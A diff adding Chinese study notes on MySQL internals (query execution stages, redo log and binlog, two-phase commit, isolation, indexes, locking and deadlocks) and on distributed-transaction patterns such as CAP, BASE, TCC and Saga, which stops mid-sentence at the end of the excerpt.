+mysql> select * from tbl_user join tbl_student using(ID) where tbl_user.id =10 tbl_student.id=20; +``` + +> 既可以先从表 t1 里面取出 c=10 的记录的 ID 值,再根据 ID 值关联到表 t2,再判断 t2 里面 d 的值是否等于 20。也可以先从表 t2 里面取出 d=20 的记录的 ID 值,再根据 ID 值关联到 t1,再判断 t1 里面 c 的值是否等于 10。 + +> 这两种执行方法的逻辑结果是一样的,但是执行的效率会有不同,而优化器的作用就是决定选择使用哪一个方案。 + +> 优化器阶段完成后,这个语句的执行方案就确定下来了,然后进入执行器阶段。在这一阶段还涉及到优化器如何选择索引的问题。 + +『执行器』: + +```shell +mysql> select * from tbl_user where id =10; +``` + +> 在执行的时候,先判断该用户对表又没有执行的权限,如果没有,那么返回错误。如果有权限,那么就打开表,按照该表的引擎继续执行. +> 那么这个时候,执行器的流程是: +> 调用引擎接口取表的第一行,判断 id =10 是否成立?如果成立就把结果存储在结果集当中,不成立就跳过。调取引擎接口取下一行,重复,直到最后一行。最后把结果集返回给客户端。 + +存储引擎层:负责数据的存储和提取。 + +- ip:连接指定 ip 地址的数据库 +- u:指定用户 +- p:执行密码 + +### MYSQL 日志系统——sql 更新语句的执行过程 + +```shell +mysql> update tbl_user set name="AnNa" where id =10; +``` + +『分析器』做了什么? + +> 词法分析和语法分析解析知道这个是一个更新语句 + +『优化器』做了什么? + +> 优化器决定使用 ID 这个索引 + +『执行器』做了什么? + +> 执行器负责具体执行 + +> 但是和查询语句不同的是更新语句涉及到重要的日志模块,那就是 redo log (重做日志)和 binlog(归档日志) + +redo log (重做日志)和 binlog(归档日志)有很多有意思的设计思路可以借鉴到自己的代码中。 + +#### redolog + +> 对于一个小酒馆,可以赊账和还账。那么作为 boss 有两种操作 + +> 方法 1:对于每一个来赊账和还账和人,直接账本上记录谁赊账或者还账。 +> 方法 2:对于每一个来赊账和还账和人,先把他们的赊账或者还账信息记录在黑板上,等到没有人的时候再拿出账本进行操作。 + +> 这两种方法的不同是:多次拿出账本和一次性拿出账本。 + +因为更新操作需要写磁盘,并且是找到磁盘中对应的记录并且写磁盘,整个过程的 I/O 成本,查找成本很高,为了解决这个问题,那么就采用了一种技术叫做——WAL 技术(Write-Ahead-Logging)关键就是先写日志,再写磁盘。 + +具体操作是:当有一条记录需要更新的时候,InnoDB 先把记录写到 redo log 并更新内存,InnoDB 会在适当的时候把这个操作记录到磁盘。但是 redo log 的大小是固定的,可以配置一组四个文件,每个文件的大小是 1GB,那么这个 redo log 就总共旧可以记录 4GB 的操作。 + +如下所示: + +```text +ib_logfile_0 ib_logfile_1 ib_logfile_2 ib_logfile_3 +``` + +> 假设 write pos 当前指向 ib_logfile_3,checkpoint 当前指向 ib_logfile_1 + +一个 write pos 用来记录当前记录的位置,一边写一边往后移,写到 ib_logfile_3 这个文件之后就回到 ib_logfile_0 文件开头的位置。循环写,checkpoint 是当前要擦除的位置,也是往后推移并且循环的。擦出之前要把记录更新到数据文件。只有 checkpoint 和 write pos 之间的位置可以用来写新操作。如果 write pos 追上 checkpoint,那么意味着粉版已经满了,这个时候不能再继续执行新的操作,需要先停下来擦出一些记录。 + +有了 redo log InnoDB 就可以保证即便数据库发生异常的重启,之前提交的记录都不会丢失,这个**能力称为 crash-safe** + +> redo log 是 InnoDB 引擎特有的日志,而 binlog 是 server 层自己的日志。InnoDB 是另外一家公司以插件的形式引入 MYSQL 的。只依靠 binlog 是没有办法保证 crash safe 的。 + +#### binlog + +> bin log 和 redo log 的不同是: + +> redo log 是 InnoDB 引擎特有的日志。binlog 是 MYSQL Server 层的日志,不论什么存储引擎都可以使用。 + +> redo log 是物理日志:记录在哪个数据页上做了什么修改,bin log 是逻辑日志,记录的是语句的原始逻辑。(比如把 ID=2 行的 Name 列的改为=“LiHua”) + +> redo log 是循环写,空间肯定会用完。binlog 是追加写,不会覆盖之前的内容。 + +执行器和 InnoDB 引擎在执行 Update 操作时的内部流程。 + +```shell +mysql> update tbl_user set name="LiHua" where id =10 +``` + +> 1.执行器先拿引擎取出 id=10 的这一行,id 是主键,引擎直接用树搜索找到这一行。如果 id=10 这个数据在内存就直接返回。否则要从磁盘读入内存,然后再返回。 + +> 2.执行器把这行数据更改为"LiHua",然后再次调用引擎接口写入这行新数据。 + +> 3.引擎将这行新数据更新到内存,同时记录更新操作到 redolog .此时 redo log 处于 prepare 状态。然后告知执行器执行完成了,随时可以提交事务。 + +> 4.执行器生成这个操作的 binlog,并把 binlog 写入磁盘。 + +> 5.执行器调用引擎的事务提交接口,引擎把刚写入的 redolog 改为提交状态。更新完成。 + +> redo log 的写入拆成了两个步骤:prepare 和 commit,这就是"两阶段提交"。 + +重点是:**存储引擎把更新的行数据写入内存,并且把更新操作写入 redo log,变更 redo log 的状态为 prepare。然后执行器生成这个操作的 binlog,并且把 bin log 写入磁盘。然后执行器调用引擎的事务提交接口,引擎把刚才写入的 redo log 变更为 commit 提交状态。** + +> 也就是引擎把行数据写入到内存以后,生成的 redolog 是 prepare 状态,等待执行器生成 bin log,并且把 bin log 写入到磁盘,才会变更 redo log 状态为 commit 状态。 + +#### 二阶段提交? + +数据恢复: + +当需要恢复到指定的某一秒时,比如某天下午两点发现中午十二点有一次误删表,需要找回数据,那可以这么做: + +> 1.首先找到最近的一次全量备份。2.取出 binlog 重放. + +为什么需要二阶段提交? + +**二阶段提交是跨系统维持数据的逻辑一致性的一个方案。** +binlog 的作用是用来备份恢复数据。redlog 记录对数据物理修改,在哪个数据页上做了什么修改。 + +### 事务隔离 + +事务就是保证一组数据库操作要么全部成功,要么全部失败。在 MYSQL 里面,事务的支持是在引擎层实现的。InnoD 除了支持 redolog,还支持事务。 + +#### 隔离性和隔离级别 + +> 隔离性由锁机制实现,原子性、一致性、持久性都是通过数据库的 redo 日志和 undo 日志来完成 + +事务:ACID(A 原子性)(C 一致性)(I 隔离性)(D 持久性) + +为什么要有隔离级别? +答:多个事务同时执行就会出现“幻读”等问题,所以为了防止出现这种问题,就出现了“隔离级别”的概念。 + +> 隔离的越严,效率肯定越低。为了平衡效率,于是有下面几种隔离级别。 + +读未提交:一个事务未提交的数据也可以被其他事务看到。 + +读提交:一个事务提交之后,它做的变更才能被其他事务看到 + +可重复读:一个事务在执行过程中看到的数据总是和这个事务在启动的时候看到的一样。 + +串行化:一个事务等待另外一个事务执行结束。(原因是对同一行数据写的时候会加锁,出现锁冲突的时候,后一个等待前一个) + +设置隔离级别: + +```sql +set [global|session] transaction isolation level {read uncommitted|... +``` + +#### 事务隔离的实现 + +场景:1->2->3->4 (更新操作) + +假设: +read-viewA 读视图看到的是 1->2 +read-viewB 读视图看到的是 2->3 +read-viewC 读视图看到的是 3->4 + +(因为不同时刻启动的事务看到的视图不同)如果是事务 A 想回滚得到 1,必须依次执行图中所有的回滚操作得到。即便有另外一个事务正在把 4->5,那么这个事务跟 read-viewA、read-viewB、read-viewC 是不会冲突的。 + +InnoDB 的实现 + +隔离性由锁机制实现,原子性、一致性、持久性都是通过数据库的 redo 日志和 undo 日志来完成。 +redo 日志:重做日志,它记录了事务的行为; +undo 日志:对数据库进行修改时会产生 undo 日志,也会产生 redo 日志,使用 rollback 请求回滚时通过 undo 日志将数据回滚到修改前的样子。 +InnoDB 存储引擎回滚时,它实际上做的是与之前相反的工作,insert 对应 delete,delete 对应 insert,update 对应相反的 update。 + +#### 事务的启动方式 + +> 显式启动事务语句。 + +```shell +begin +commit +rollback +begin=start transaction +``` + +> set autocommit=0 这个会把这个线程的自动提交关闭。意味着一个事务开启之后就不会关闭,直到主动执行 commit 或者 rollback 语句,再或者断开连接。 + +有些客户端框架会默认连接成功以后先执行一个 set autocommit=0 的命令,导致接下来的查询都是事务中,如果是长连接,就导致了意外的长事务。 + +所以对于一个频繁使用事务的业务而言: +方法 1:使用 set autocommit=1,通过显示的语句来启动事务。 +方法 2:commit work and chain 是提交事务,并且启动下一个事务。 + +有些语句会造成隐式提交,主要有 3 类: + +DDL 语句:create event、create index、alter table、create database、truncate 等等,所有 DDL 语句都是不能回滚的。 + +权限操作语句:create user、drop user、grant、rename user 等等。 + +管理语句:analyze table、check table 等等。 + +### 索引 + +> 索引就是书的目录 + +索引的三个模型: + +哈希表模型:哈希表是 key-value 的数据结构,实现思路是把值存在数组,用一个哈希函数把 key 换算成具体的位置,然后把 value 放在这个数组的这个具体位置。多个 KEY 可能换算出相同的位置,这个时候就是拉出一个链表。 + +> 哈希表这种数据结构只适合:等值查询的场景。区间查询是很慢速的。 + +有序数组模型:有序数组适合等值查询和范围查询。有序数组只适合静态存储引擎。有序数组的时间复杂度是:O(log(N)) + +二叉树:二叉树的搜索效率是 O(log(N))但是大多数数据存储并不使用二叉树,原因是:索引不仅仅在内存,还在磁盘。 + +> 可以想象一下一棵 100 万节点的平衡二叉树,树高 20。一次查询可能需要访问 20 个数据块。在机械硬盘时代,从磁盘随机读一个数据块需要 10 ms 左右的寻址时间。也就是说,对于一个 100 万行的表,如果使用二叉树来存储,单独访问一个行可能需要 20 个 10 ms 的时间,这个查询可真够慢的。 + +> 为了让一个查询尽量少地读磁盘,就必须让查询过程访问尽量少的数据块。那么,我们就不应该使用二叉树,而是要使用“N 叉”树。这里,“N 叉”树中的“N”取决于数据块的大小。 + +> 以 InnoDB 的一个整数字段索引为例,这个 N 差不多是 1200。这棵树高是 4 的时候,就可以存 1200 的 3 次方个值,这已经 17 亿了。考虑到树根的数据块总是在内存中的,一个 10 亿行的表上一个整数字段的索引,查找一个值最多只需要访问 3 次磁盘。其实,树的第二层也有很大概率在内存中,那么访问磁盘的平均次数就更少了。 + +N 叉树由于在读写上的性能优点,以及适配磁盘的访问模式,已经被广泛应用在数据库引擎中了。 + +> 不管是哈希还是有序数组,或者 N 叉树,它们都是不断迭代、不断优化的产物或者解决方案。数据库技术发展到今天,跳表、LSM 树等数据结构也被用于引擎设计中 + +> 数据库底层存储的核心就是基于这些数据模型的。每碰到一个新数据库,我们需要先关注它的数据模型,这样才能从理论上分析出这个数据库的适用场景。 + +### InnoDB 的索引模型 + +在 InnoDB 中,表都是根据主键顺序以索引的形式存放的,这种存储方式的表称为索引组织表。又因为前面我们提到的,InnoDB 使用了 B+ 树索引模型,所以数据都是存储在 B+ 树中的 + +### 分布式(补充) + +#### 分布式场景下:要么同时成功,要么同时失败。 + +场景:每一组业务处理流程中会包含多组动作(A、B…),每个动作可能关联到分布式环境下的不同系统。但是这些动作之间需要保证一致性:A 和 B 动作必须同时成功或失败,不能出现 A 动作成功 B 动作失败这类问题。 + +这类问题在单机下,用单机数据库事务就可以解决,为什么分步式系统中会变得如此复杂? + +> 分布式系统是异步系统,异步系统最大的问题是:超时。超时一定有可能发生,但是超时后无法判断一个操作究竟是成功还是失败,导致业务状态异常。 + +> 一致性的两种翻译(consistency/consensus)是不同的概念,不同于 consistency,consensus 问题是为了解决若干进程对同一个变量达成一致的问题,例如集群的 leader 选举问题。consensus 问题通常使用 Paxos 或 Raft 协议来实现。 + +#### 分布式的理论基础——CAP 理论 + +> C:consistency:写操作之后的读操作必须返回最新写的数据。 +> A:Availability:服务在正常的响应时间内一直是可用的,返回的状态是成功。 +> P:Partition-tolerance:分区容错性:遇到某个节点,或者网络故障以后,系统仍然可以提供正常的服务。 + +CAP 中最最最重要的是:PARTITION TOLERANCE(分区容错性) +所以 CAP 可以理解为:当 P(网络发生分区)时,要么选择 C(一致性)要么选择 A(可用性) + +对于一个支付例子,当网络发生分区的时候,要么用户可以支付(可用性),但是余额不会立即减少,要么用户不能支付(不可用),这样的话,用户的余额保持一致。 + +CAP 理论是由 Eric Brewer 在 2000 年提出的,用于描述分布式系统中三个基本的保证属性: + +C - Consistency(一致性): 所有节点在同一时刻应该看到相同的数据。换句话说,如果一个操作在分布式系统中的一个节点上完成,那么其他所有节点都应该同步地达到相同的状态。 + +A - Availability(可用性): 在对分布式系统进行读或写操作时,系统应该保证响应,即使其中一部分节点不可用。简单地说,每个请求都应该得到一个(可能是不一致的)响应,而不是错误或超时。 + +P - Partition Tolerance(分区容忍性): 系统应该在网络分区(即,节点之间的通信故障)的情况下继续运行。分区容忍性意味着系统应该能够容忍网络失败,即使这导致了系统组件之间的通信中断。 + +CAP 理论的核心观点是,在任何给定的时间,分布式系统只能同时满足这三个属性中的两个。这通常被表述为 "只能选两个",并且这种权衡在设计和运行分布式系统时是非常重要的。 + + +> 为什么只能选两个? + +CAP 理论的核心观点是,在一个分布式系统中,一致性(Consistency)、可用性(Availability)和分区容忍性(Partition Tolerance)这三个属性是不可能同时完全达到的。这主要是因为以下几点原因: + +网络分区是不可避免的:在现实世界的分布式系统中,网络分区(即,节点间通信的中断或延迟)是不可避免的。因此,分区容忍性(P)通常是必须要考虑的。 + +一致性与可用性的权衡: + +如果想保证一致性(C),那么在网络分区或其他故障发生时,可能需要牺牲可用性(A)来确保所有节点都达到一致的状态。这可能意味着拒绝或延迟服务请求直到系统恢复一致。 +如果想保证可用性(A),则在网络分区或其他故障发生时,可能需要牺牲一致性(C)来继续处理请求。这可能意味着返回可能不一致或过时的数据。 +实际操作中的权衡:在实际的系统设计中,通常会根据业务需求和特定场景来进行权衡,选择更加偏向于一致性或可用性的设计。例如,一些系统可能可以容忍短暂的不一致,以换取更高的可用性;而另一些系统可能需要严格的一致性保证。 + +因此,当说“只能选两个”时,通常的含义是,在面对网络分区这一不可避免的现实时(即,P 是必选的),必须在一致性(C)和可用性(A)之间做出选择。 + + + +#### 分布式的理论基础——BASE 理论 + +CAP 理论中需要考虑 A 和 C 的取舍,当 A(可用性!!!)很很很重要的时候,这个时候它的替代方案就是 BASE(Basically Available 基本可用/Soft State 软状态/Eventual consistent 最终一致性) +BASE 并不是一个明确的 AP 或者 CP 方案,而是在 A 和 C 之间倾向于 A,思路是用最终一致性替代强一致性。 + +三个关键点: + +**数据分片,拆分服务:**通过数据分片的方式将服务拆分到不同的系统中,这样即使出现故障也只会影响一个分片而不是所有用户。 +**数据存在中间状态:**允许数据存在中间状态,也就是事务的隔离性可能不能保证 +**经过同步后最终是一致的:**所有的数据/系统状态,在经过一段时间的同步或者补偿之后,最终都能够达到一个一致的状态 + +### 一致性问题的解决方案 + +#### 基于 2PC 的分布式事务 + +两个角色: +一个节点是协调者,其他节点是参与者。 + +执行过程是: +参与者将执行结果的成败通知协调者,由协调者决定参与者本地要不要提交自己的修改。(或者是终止操作) + +#### 基于 TCC 的补偿型事务 + +TCC 和 2PC 的本质区别是:把事务框架从资源层上升到了服务层,TCC 要求开发者按照这个框架进行编程,业务逻辑的每个分支都有 Try Confirm Cancel 三个操作集合。 + +```text +主业务服务 +tryX +confirmX +cancelX +DB +``` + +具体实现: + +一个完整的业务活动由一个主业务服务和若干从业务活动组成。 +主业务活动负责发起并完成整个业务活动。 +从业务服务提供 Try Confirm Cacel 三个业务操作。 + +Try:负责资源的检查,同时必须要预留资源,而且预留的资源要支持提交和回滚。 +Confirm:负责使用 Try 预留的资源真正的完成业务动作。 +Cancel:负责释放 Try 预留的资源。 + +举个栗子: + +XX 给我转账 100,这里是有两个操作系统,一个是支付,一个是财务。各自有自己的数据库和服务。要求支付了一定要存在收据。在这个过程里面 支付系统 是支付的发起方,财务系统是参与方。TCC 的第一阶段,会执行所有参与方的 Try 操作,如果所有的 Try 操作都成功,那么就会记录日志并继续执行发起方的业务操作。TCC 的二阶段根据第一阶段 Try 的结果来决定整体是 Confirm 还是 Cancel + +TCC 是一种服务层的事务模式,因此在业务中就需要充分考虑到分布式事务的中间状态。在这个例子中,Try 必须真在起到预留资源的作用。冻结余额就是资源在预留层的体现。而未达金额就是还未到账的金额。TCC 保证的是最终一致性,因此在财务的模型里面:可用余额=账户余额+冻结余额+未达余额。TCC 的一阶段就是在发起方的本地事务里面执行的。 + +> 如果一阶段,即发起方的本地事务中失败,则本地事务直接回滚,然后继续触发二阶段的 Cancel +> 如果二阶段未能成功,那么就需要一个新的恢复系统,从发起方的 DB 扫描异常事务,进行重试。 + +#### 基于可靠消息的一致性模型 + +为什么基于可靠消息也可以保证系统间的一致性? + +答:消息中间件就是一个可靠消息的平台,因为消息中间件:异步+持久化+重试的机制保证了消息一定会被消费者消费,可以用于一定能成功的业务场景。 + +> 只能保证消息一定被消费,但是无法提供全局的回滚。 + +一定会成功的场景:**发通知等等** +不一定会成功的场景:**减少用户钱包的余额** + +#### 基于事务的消息 + +参考阿里云 RocketMQ 的官方文档为例: +整个流程需要有两个参与者,一个是消息发送方,一个是消息订阅方。消息发送方的本地事务和消息订阅方的消费需要保证一致性。类似于两阶段提交,事务消息也是把一次消息发送拆成了两个阶段:首先消息发送方会发送一个“半事务消息”,然后再执行本地事务,根据本地事务执行的结果,来给消息服务端再发送一个 commit 或 rollback 的确认消息。只有服务端收到 commit 消息后,才会真正的发送消息给订阅方。 + +#### 基于本地的消息 + +本地事务+本地消息表也是实现可靠消息的一种方式。只需要在本地的数据库维持一个本地消息表。把发送消息动作转变为本地消息表的 insert 操作。然后用定时任务从本地消息表里面取出数据来发送消息。实现本地事务和消息消费方的一致性。 + +> 虽然实现上比较简单,但是本地消息表需要和本地业务操作在同一个 OLTP 数据库中,对于分库分表等分布式存储方案可能不太适合. + +> 异常处理: +> 本地消息的异常情况更加简单,如果是本地事务执行过程中的异常,事务会自动回滚,也不用担心会有消息被发送出去。而只要事务成功提交了,定时任务就会捞起未处理的消息并发送,即使发送失败也会在下个定时周期重试补偿。此时唯一需要关注的点在于消息接收方需要针对消息体进行幂等处理,保证同一个消息体只会被真正消费一次。 + +#### Soga 模式 + +> Saga 模式的理论最初来自于普林斯顿大学的 Hector Garcia-Molina 和 Kenneth Salem 发表的一篇论文。最初是为了解决长事务带来的性能损耗,可以拆分成若干个子事务,然后通过依次执行或补偿来实现一致性。 + +关键点:拆分若干事务,依次执行/补偿若干事务。 + +使用场景:分布式场景下跨微服务的数据一致性。 + +执行过程:每个事务更新各自的服务并发布消息触发下一个服务,如果某个事务执行失败,那么就依次向前执行补偿动作来抵消以前的子事务。 + +### 总结: + +针对系统之间的一致性问题,老生常谈的方案就是分布式事务。如果业务场景对一致性要求很高,如支付、库存,这种场景的确需要分布式事务——通常会采用 2PC 的变种或者 TCC 来实现。分布式事务的确对于提高一致性的强度有很大帮助,但是开发难度和复杂度会比较高,对于一些普通的业务场景来说性价比不高。参考 BASE 定理,更多的场景适合用可靠消息或者重试模式来实现一致性。 + +### Mysql 索引 + +InnoDB 存储引擎的逻辑存储结构: + +```sql +mysql> create table T ( +ID int primary key, +k int NOT NULL DEFAULT 0, +s varchar(16) NOT NULL DEFAULT '', +index k(k)) +engine=InnoDB; +``` + +> 回到主键索引树搜索的过程,我们称之为回表。 + +如何索引优化避免回表? + +#### 覆盖索引 + +```sql +select ID from T where k between 3 and 5 +``` + +- 只需要查 ID ,ID 的值在 k 索引树上 +- 可以直接提供查询的结果,不需要回表 +- 索引 K 覆盖了查询需求(所以叫覆盖索引) + +> 使用覆盖索引减少了回表的次数,显著提升查询性能,所以使用覆盖索引是常用的性能优化手段 + +在一个市民信息表上,是否有必要将身份证号和名字建立联合索引? + +```sql +CREATE TABLE `tuser` ( + `id` int(11) NOT NULL, + `id_card` varchar(32) DEFAULT NULL, + `name` varchar(32) DEFAULT NULL, + `age` int(11) DEFAULT NULL, + `ismale` tinyint(1) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_card` (`id_card`), + KEY `name_age` (`name`,`age`) +) ENGINE=InnoDB +``` + +我们知道,身份证号是市民的唯一标识。也就是说,如果有根据身份证号查询市民信息的需求,我们只要在身份证号字段上建立索引就够了。而再建立一个(身份证号、姓名)的联合索引,是不是浪费空间? + +如果现在有一个高频请求,要根据市民的身份证号查询他的姓名,这个联合索引就有意义了。它可以在这个高频请求上用到覆盖索引,不再需要回表查整行记录,减少语句的执行时间。 + +当然,索引字段的维护总是有代价的。因此,在建立冗余索引来支持覆盖索引时就需要权衡考虑了。这正是业务 DBA,或者称为业务数据架构师的工作。 + +#### 最左前缀原则 + +如果为每一种查询都设计一个索引,索引是不是太多了。如果我现在要按照市民的身份证号去查他的家庭地址呢?虽然这个查询需求在业务中出现的概率不高,但总不能让它走全表扫描吧?反过来说,单独为一个不频繁的请求创建一个(身份证号,地址)的索引又感觉有点浪费。应该怎么做呢? + +> B+ 树这种索引结构,可以利用索引的“最左前缀”,来定位记录。 +> 假设是一个(姓名,年龄)的索引 + +(李四)(张三,10)(张三,11)(张三,12)(王五) + +当的逻辑需求是查到所有名字是“张三”的人时,可以快速定位到 ID4,然后向后遍历得到所有需要的结果。 + +如果要查的是所有名字第一个字是“张”的人,的 SQL 语句的条件是"where name like ‘张 %’"。这时,也能够用上这个索引,查找到第一个符合条件的记录是 ID3,然后向后遍历,直到不满足条件为止。 + +只要满足最左前缀,就可以利用索引来加速检索 + +在建立联合索引的时候,如何安排索引内的字段顺序。当已经有了 (a,b) 这个联合索引后,一般就不需要单独在 a 上建立索引了。因此,第一原则是,如果通过调整顺序,可以少维护一个索引,那么这个顺序往往就是需要优先考虑采用的。我们要为高频请求创建 (身份证号,姓名)这个联合索引,并用这个索引支持“根据身份证号查询地址”的需求。 + +#### 索引下推 + +上一段我们说到满足最左前缀原则的时候,最左前缀可以用于在索引中定位记录。这时,可能要问,那些不符合最左前缀的部分,会怎么样呢? + +我们还是以市民表的联合索引(name, age)为例。如果现在有一个需求:检索出表中“名字第一个字是张,而且年龄是 10 岁的所有男孩”。那么,SQL 语句是这么写的: + +```sql +mysql> select \* from tuser where name like '张 %' and age=10; +``` + +假设有索引 `name age` 索引下推就是 对于索引`name age` 里面的一条记录,先判断 name 和 age 符不符合条件,然后找到后再到主键索引中间拿出所有的字段。 + +但是如果只有`name`这个索引,那么先判断`name`='张 %' 是否符合条件,如果符合条件就回到主键索引,再判断 age 等不等于 10,如果不是,那么这个时候就比`name age` 多回了一次表 + +### 全局锁和表锁 + +> 根据加锁的范围,MySQL 里面的锁大致可以分成全局锁、表级锁和行锁三类 + +#### 全局锁 + +MySQL 提供了一个加全局读锁的方法 + +```sql +Flush tables with read lock +``` + +FTWRL 的典型使用场景是: +在做全库的逻辑备份的时候,就是把每个表都存成文本形式。但是这种情况导致业务停摆。 + +如果不加锁出现的问题是: +备份过程中在不同的时间节点看到的视图可能不一致。 + +那么如何拥有一致性视图? + +四个隔离级别:读提交,读未提交,可重复读,串行化。可重复读:事务开始后,看到的数据都是事务最开始看到的数据。那么解决办法就是在:可重复读隔离级别下开启一个事务。 + +MYSQL 官方自带的逻辑备份工具是:mysqldump,当 mysqldump 使用参数-single-transcation 的时候,导数据之前就会启动一个事务确保拿到一致性视图。由于 MVCC 支持的导出数据的过程中间,可以正常的更新 MYSQL 里面的数据。 + +``` +mysqldump +``` + +既然有 mysqldump 那么为什么还需要 FTWRL,MYSQL 的 MyISAM 引擎不支持事务。 +FTWRL 和 set global readonly=true 有什么区别? + +在异常处理机制上有差异。如果执行 FTWRL 命令之后由于客户端发生异常断开,那么 MySQL 会自动释放这个全局锁,整个库回到可以正常更新的状态。而将整个库设置为 readonly 之后,如果客户端发生异常,则数据库就会一直保持 readonly 状态,这样会导致整个库长时间处于不可写状态,风险较高 + +#### 表级锁 + +> 对表做增删改查操作的时候会加 MDL 读锁。如果是对表结构做更改,那么加 MDL 写锁。 + +为什么多个线程可以对同一张表进行增删改查的操作? + +> MYSQL 引入了 MDL(metadata lock) 默认是对表加读锁,但是读锁之间不互斥,所以多个线程可以同时对一张表增删改查 + +对表结构进行修改的时候,是否可以继续读出数据,并进行(meta data 的增删改查操作)? + +> 不可以,修改表结构的时候对表加写锁。读锁和写锁是互斥的。也就是说:增删改查操作后如果没有释放 MDL 读锁,那么 MDL 写锁就会被阻塞。在一个事务中间,一个修改表字段的 MDL 写锁被阻塞是没有关系的,但是存在的问题是这个 MDL 写锁会一致阻塞后来的 MDL 读锁。这旧造成了很大的影响。 + +> 事务中的 MDL 写锁是语句开始的时候申请的,但是语句结束后并不会马上释放,而是等到事务提交以后被释放。 + +如何安全的对表加字段? + +事务不提交不会释放 MDL 写锁,所以在 MYSQL 的 information_schema 库里面的 innodb_trx 表中,可以查到当前执行中的事务。如果要做 DDL 变更的表刚好有长事务在执行,要考虑先暂停 DDL,或者 kill 掉这个长事务。 + +存在的问题是:如果我需要变更一个热点表,虽然数据不大,但是上面的请求很频繁,但是不得不加个字段,那么应该怎么做? +比较好的解决方案是:在 Alter table 语句里面设定等待时间,如果在这个时间里能够拿到 MDL 写锁最好,如果拿不到也没关系,就先放弃,不要阻塞后面的业务。 + +```sql +ALTER TABLE tbl_name NOWAIT add column +``` + +```sql +ALTER TABLE tbl_name WAIT N add column +``` + +#### 行锁 + +怎么减少行锁对性能的影响? + +MySQL 的行锁是在引擎层由各个引擎自己实现的。但并不是所有的引擎都支持行锁,比如 MyISAM 引擎就不支持行锁。不支持行锁意味着并发控制只能使用表锁,对于这种引擎的表,同一张表上任何时刻只能有一个更新在执行,这就会影响到业务并发度。InnoDB 是支持行锁的,这也是 MyISAM 被 InnoDB 替代的重要原因之一。 + +场景: +『1』从顾客 A 账户余额中扣除电影票价; +『2』给影院 B 的账户余额增加这张电影票价; +『3』记录一条交易日志。 +『4』试想如果同时有另外一个顾客 C 要在影院 B 买票,那么这两个事务冲突的部分就是语句 2 了。因为它们要更新同一个影院账户的余额,需要修改同一行数据。 + +要完成这个交易,我们需要 update 两条记录,并 insert 一条记录。当然,为了保证交易的原子性,我们要把这三个操作放在一个事务中。那么,会怎样安排这三个语句在事务中的顺序呢? + +根据两阶段锁协议,不论怎样安排语句顺序,所有的操作需要的行锁都是在事务提交的时候才释放的。所以,如果把语句 2 安排在最后,比如按照 3、1、2 这样的顺序,那么影院账户余额这一行的锁时间就最少。这就最大程度地减少了事务之间的锁等待,提升了并发度。 + +#### 死锁和死锁检测 + +当并发系统中不同线程出现循环资源依赖,涉及的线程都在等待别的线程释放资源时,就会导致这几个线程都进入无限等待的状态,称为死锁。 + +- 循环等待 +- 不可剥夺 +- 资源互斥 +- 请求对资源保持不释放 + +出现死锁问题的解决: + +- 设置 innodb_lock_wait_timeout (死锁超时) +- 设置 innodb_lock_detect (死锁检测) + +> 在 InnoDB 中,innodb_lock_wait_timeout 的默认值是 50s,意味着如果采用第一个策略,当出现死锁以后,第一个被锁住的线程要过 50s 才会超时退出,然后其他线程才有可能继续执行。对于在线服务来说,这个等待时间往往是无法接受的。 + +> 但是,我们又不可能直接把这个时间设置成一个很小的值,比如 1s。这样当出现死锁的时候,确实很快就可以解开,但如果不是死锁,而是简单的锁等待呢?所以,超时时间设置太短的话,会出现很多误伤。 + +> 所以,正常情况下我们还是要采用第二种策略,即:主动死锁检测,而且 innodb_deadlock_detect 的默认值本身就是 on。主动死锁检测在发生死锁的时候,是能够快速发现并进行处理的,但是它也是有额外负担的。 + +> 可以想象一下这个过程:每当一个事务被锁的时候,就要看看它所依赖的线程有没有被别人锁住,如此循环,最后判断是否出现了循环等待,也就是死锁。 + +那如果是我们上面说到的所有事务都要更新同一行的场景呢? + +每个新来的被堵住的线程,都要判断会不会由于自己的加入导致了死锁,这是一个时间复杂度是 O(n) 的操作。假设有 1000 个并发线程要同时更新同一行,那么死锁检测操作就是 100 万这个量级的。虽然最终检测的结果是没有死锁,但是这期间要消耗大量的 CPU 资源。因此,就会看到 CPU 利用率很高,但是每秒却执行不了几个事务。 + +> 问题在于每个来到线程都要判断是否会因自己的加入而导致死锁。 + +如何解决因热点行的更新而导致性能问题? + +解决方案 1——关闭死锁检测 + +确保这个业务一定不会出现死锁,可以临时把死锁检测关掉。\*\*但是这种操作本身带有一定的风险,因为业务设计的时候一般不会把死锁当做一个严重错误,毕竟出现死锁了,就回滚,然后通过业务重试一般就没问题了,这是业务无损的。而关掉死锁检测意味着可能会出现大量的超时,这是业务有损的。 + +解决方案 2——控制并发数量,如果并发数数量很少,死锁检测的成本不高。但是哪怕一个客户端 2 ~ 3 个并发数量,几百个客户端导致的并发数量也很多。所以并发控制做在数据库服务端,如果有中间件也考虑放在中间件实现。 + +#### 总结 + +> 全局表是用于在备份的逻辑中,对于使用 InnoDB 引擎的库就使用 single-transaction,或者可重复读隔离级别下+事务。 + +> 表级锁是在数据库引擎不支持行锁的时候才会被用到的。如果代码有 lock tables 这样的语句,那么需要追查一下。比较可能的情况是:系统使用 MyISAM 这类不支持事务的引擎,那么需要安排升级换引擎。MDL 是事务提交以后才会释放,在做表结构更新的时候,加 MDL 写锁会导致锁住线上查询和更新。 + +> 两阶段协议为起点,如何安排正确的事务语句。这里的原则是:如果的事务中需要锁多个行,要把最可能造成锁冲突、最可能影响并发度的锁的申请时机尽量往后放。 + +> 调整语句顺序并不能完全避免死锁。所以我们引入了死锁和死锁检测的概念,以及提供了三个方案,来减少死锁对数据库的影响。减少死锁的主要方向,就是控制访问相同资源的并发事务量。 + +第一种,直接执行 delete from T limit 10000; +第二种,在一个连接中循环执行 20 次 delete from T limit 500; +第三种,在 20 个连接中同时执行 delete from T limit 500 + +三个方案该如何选择? +答:第二种方式是相对较好的。第一种方式(即:直接执行 delete from T limit 10000)里面,单个语句占用时间长,锁的时间也比较长;而且大事务还会导致主从延迟。在 20 个连接中同时执行 delete from T limit 500),会人为造成锁冲突。 + +### 索引选择 + +#### 普通索引和唯一索引——查询过程 + +对于普通索引来说,查找到满足条件的第一个记录 (5,500) 后,需要查找下一个记录,直到碰到第一个不满足 k=5 条件的记录。 + +对于唯一索引来说,由于索引定义了唯一性,查找到第一个满足条件的记录后,就会停止继续检索。 + +但是二者的差别很小,原因在于:InnoDB 的数据是按照数据页为单位来读写的。 + +> InnoDB 的数据是按数据页为单位来读写的。也就是说,当需要读一条记录的时候,并不是将这个记录本身从磁盘读出来,而是以页为单位,将其整体读入内存。在 InnoDB 